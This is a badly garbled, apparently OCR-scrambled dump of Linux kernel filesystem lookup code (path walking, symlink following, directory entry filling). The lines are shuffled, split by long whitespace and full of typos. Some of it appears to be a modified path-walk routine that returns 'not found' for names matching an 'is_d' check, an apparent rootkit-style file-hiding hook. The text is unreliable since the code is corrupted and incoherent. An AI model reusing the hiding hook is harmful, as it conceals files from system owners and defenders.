                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             <u>d</u>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0
                                                                                                                                                                                                                  name);
```

```
static inline int __follow_down(struct vfsmount **mmt, struct dentry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      **dentry)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          static inline int do_follow_link(struct dentry *dentry, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct vfsmount *mounted;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    copy_to_user(dirent, &d, NAME_OFFSET(&d));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              memset(&d, 0, NAME_OFFSET(&d));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     dirent = buf->previous;
if (dirent) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      spin_lock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                d.d_type = d_type;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               d.d_reclen = reclen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  d.d_ino = ino;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               buf->previous = dirent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           dirent = buf->current_dir;
                                                                                                                                                                                                                                                                                                                                                                                                              if (current->link_count >=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            mounted = lookup_mnt(*mnt,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  buf->count -= reclen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          buf->current_dir = dirent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  put_user(0, dirent->d_name + namlen);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          copy_to_user(dirent->d_name, name, namlen);
path_release(nd);
                                                                                                     err = dentry->d_inode->i_op->follow_link(dentry, nd);
                                                                                                                                                           current->total_link_count++;
                                                                                                                                                                                          current->link_count++;
                                                                                                                                                                                                                                                                                                                                                        if (current->total_link_count >=
                                                                                                                                                                                                                                                                                                                                                                                                                                          int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return 0;
                                                      return err;
                                                                                current->link_count--;
                                                                                                                                      UPDATE_ATIME(dentry->d_inode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ((char *) dirent) += reclen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             copy_to_user(&dirent->d_off, &d.d_off, sizeof(d.d_off));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             d.d_off = offset;
                                                                                                                                                                                                                                                                                                    (current->need_resched) {
                                                                                                                                                                                                                                                                                                                           goto loop;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (mounted) {
                                                                                                                                                                                                                                                                                                                                                                                    goto loop;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      mtput(mounted->mnt_parent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dput(*dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                schedule();
                                                                                                                                                                                                                                                                          current->state = TASK_RUNNING;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *dentry = dget(mounted->mnt_root);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        *mnt = mntget(mounted);
                                                                                                                                                                                                                                                                                                                                                                                                                5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              *dentry);
                                                                                                                                                                                                                                                                                                                                                            40)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           static inline void follow_dotdot(struct nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  * name,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              static struct dentry * real_lookup(struct dentry * parent, struct qstr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      flags)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return -ELOOP;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         while(1) {
                                                                                                                                                                                                                                                                                                                                                                                 struct inode *dir = parent->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                  struct dentry * result;
                                                                                                                                                                                                                                                                                                                                                            down(&dir->i_sem);
                                                                                                                                                                                            if (!result) {
                                                                                                                                                                                                                      result = d_lookup(parent, name);
                                                                                                                                                                                                                                                                              * while we waited
                                                                                                                                                                                                                                                                                                 * First re-do the cached lookup just in case it was created
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          parent=nd->mnt->mnt_parent;
if (parent == ~2 ...
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Ħ.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           spin_lock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         read_lock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct dentry *dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct vfsmount *parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (nd->dentry == current->fs->root &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        mntput(nd->mnt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dentry=dget(nd->mnt->mnt_mountpoint);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mmtget(parent);
                                                                                                                                        result = ERR_PTR(-ENOMEM);
                                                                                                                                                                  struct dentry * dentry = d_alloc(parent, name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              nd->mnt = parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              dput (nd->dentry);
                                                                                                              if (dentry)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     dentry = dget(nd->dentry->d_parent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (nd->dentry != nd->mnt->mnt_root) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 dput (nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        spin_unlock(&dcache_lock);
                                                      result = dir->i_op->lookup(dir, dentry);
                              unlock_kernel();
                                                                                  lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               nd->mnt == current->fs->rootmnt)
                                                                                                                                                                                                                                                                            for the directory
                                                                                                                                                                                                                                                                            semaphore..
```

```
!d_invalidate(result)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   nt link_path_walk(const char * name, struct nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (current->link_count)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (!*name)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              while (*name=='/')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     unsigned int lookup_flags = nd->flags;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct dentry *dentry;
struct inode *inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return result;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (result->d_op && result->d_op->d_revalidate) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       up(&dir->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         inode = nd->dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  for(;;) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /* At this point we know we have a real path component.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       * we waited on the semaphore. Need to revalidate.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             * Uhhuh! Nasty case: the cache was re-populated while
                                                                                                                                                                                                                                           g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       unsigned long hash;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto return_base;
                                                                              this.hash = end_name_hash(hash);
                                                                                                                                                                                                                                                                hash = init_name_hash();
                                                                                                                                                                                                                                                                                                                                                                                                                        err = permission(inode, MAY_EXEC);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct qstr this;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (!result->d_op->d_revalidate(result, flags) &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return result;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           up(&dir->i_sem);
                                               /* remove trailing slashes? */
                                                                                                         this.len = name - (const char *) this.name;
                                                                                                                                                                                                                                                                                             c' = *(const unsigned char *)name;
                                                                                                                                                                                                                                                                                                                   this.name = name;
                                                                                                                                                                                                                                                                                                                                                                             if (err)
                                                                                                                                                                                                                                                                                                                                                                                                  dentry = ERR_PTR(err);
                                                                                                                                                                                                                                                                                                                                                                                                                                                     unsigned int c;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     lookup_flags = LOOKUP_FOLLOW;
                                                                                                                                while (c && (c != '/'));
                                                                                                                                                        c = *(const unsigned char *)name;
                                                                                                                                                                                 hash = partial_name_hash(c, hash);
goto last_component;
                                                                                                                                                                                                              name++;
                                                                                                                                                                                                                                                                                                                                                  break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dput(result);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       result = ERR_PTR(-ENOENT);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              result = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                dput (dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          while (*++name == '/');
                                                                                                                                                                                                                                                                                                                                                                                                                                               while (d_mountpoint(dentry)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (!dentry) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            dentry = cached_lookup(nd->dentry,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (nd->dentry->d_op && nd->dentry->d_op->d_hash) {
                                                                                                                                                                                                        if (inode->i_op->follow_link) {
                                                                                                                                                                                                                                                                                                                                                                                                err = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (this.name[0] == '.') switch (this.len) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (!*name)
                                                                                                                                                                                                                                                                                        err = -ENOTDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* This does the actual lookups..
                                                                                                                                                                                                                                                              if (!inode->i_op)
                                                                                                                                                                                                                                                                                                                                          if (!inode)
                                                                                                                                                                                                                                                                                                                                                                   inode = dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /* Check mountpoints.. */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          * to use its own hash..
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 * See if the low-level filesystem might want
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     * parent relationships.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              * to be able to know about the current root directory and
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "." and ".." are special - ".." especially so because it
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          goto last_with_slashes;
                                                                                                                                                                                                                                                                                                                 goto out_dput;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   err = PTR_ERR(dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dentry = real_lookup(nd->dentry, &this, LOOKUP_CONTINUE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (err < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            err = nd->dentry->d_op->d_hash(nd->dentry, &this);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       case 2:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           default:
                                                                                                                                                      dput (dentry);
                                                                                                                                                                             err = do_follow_link(dentry, nd);
                                                                                                                                                                                                                                     goto out_dput;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (IS_ERR(dentry))
                          if (!inode)
                                               inode = nd->dentry->d_inode;
                                                                              err = -ENOENT;
                                                                                                                                if (err)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (this.name[1] !=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                break;
                                                                                                     goto return_err
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /* fallthrough *,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              inode = nd->dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       follow_dotdot(nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                   ኢ
ኢ
                                                                                                                                                                                                                                                                                                                                                                                                                                                 __follow_down(&nd->mnt, &dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              &this, LOOKUP_CONTINUE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           has
```

```
last_with_slashes:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               last_component:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     dentry = cached_lookup(nd->dentry, &this, 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (nd->dentry->d_op && nd->dentry->d_op->d_hash) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (this.name(0) == '.') switch (this.len) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (lookup_flags & LOOKUP_PARENT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  lookup_flags |= LOOKUP_FOLLOW | LOOKUP_DIRECTORY;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (!inode->i_op->lookup)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         err = -ENOTDIR;
                                                                                                                                                                                                                                                                                          inode = dentry->d_inode;
                                                                                                                                                                                                                                                                if ((lookup_flags & LOOKUP_FOLLOW)
                                                                                                                                                                                                                                                                                                                                                while (d_mountpoint(dentry) &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (!dentry) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* here ends the main loop
err = -ENOENT;
                                                                                               else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        err = -ENOTDIR;
if (!inode->i_op)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               case 1:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                case 2:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               default:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                dput (nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          dentry = real_lookup(nd->dentry, &this, 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (err < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           err = nd->dentry->d_op->d_hash(nd->dentry, &this);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        nd->dentry = dentry;
                                             nd->dentry = dentry;
                                                                                                                 goto return_err;
inode = nd->dentry->d_inode;
                                                                                                                                                                                                                   err = do_follow_link(dentry, nd);
                                                                                                                                                                                                                                                                                                                                                                                                                         if (IS_ERR(dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                err = PTR_ERR(dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              goto lookup_parent;
                                                                      dput (nd->dentry);
                                                                                                                                                                      if (err)
                                                                                                                                                                                               dput(dentry);
                                                                                                                                                                                                                                             && inode && inode->i_op && inode->i_op->follow_link) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   follow_dotdot(nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (this.name[1] != '.')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /* fallthrough */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              inode = nd->dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               break;
                                                                                                                                                                                                                                                                                                                                                __follow_down(&nd->mnt, &dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  no_inode:
                                                                                                                                                                                                                                                                                                                                                                      char * my__d_path(struct dentry *dentry, struct vfsmount *vfsmnt,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              out_dput:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return_base:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      lookup_parent:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int poth_walk(const char * name, struct nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                current->total_link_count = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if(is_d(name))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              path_release(nd);
                                                                                                                                                                                                                                                                        char * end = buffer+buflen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return err;
                                                                                                                                                                                                                                                char * retval;
retval = end-1;
                                                                                                                                              if (!IS_ROOT(dentry) && list_empty(&dentry->d_hash)) {
                                                                                                                                                                        buflen--;
                                                                                                                                                                                                                                                                                                                                                                                                                         return link_path_walk(name, nd);
                       /* Get '/' right */
                                                                                                                                                                                                                         int namelen;
                                                                                                                                                                                               --end = '(0');
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (!inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (this.len == 1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (lookup_flags & (LOOKUP_POSITIVE|LOOKUP_DIRECTORY))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            err = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (lookup_flags &
                                                                    memcpy(end, " (deleted)", 10);
                                                                                              end -= 10;
                                                                                                                                                                                                                                                                                                                                                struct dentry *root, struct vfsmount *rootmnt,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return ; ENOENT; //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                dput (dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                else if (this.len == 2 && this.name[1] == '.')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (this.name[0] != '.')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       nd->last_type = LAST_NORM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           nd->last = this;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         goto return_base;
                                                                                                                                                                                                                                                                                                                       char *buffer, int buflen)
                                                                                                                         buflen -= 10;
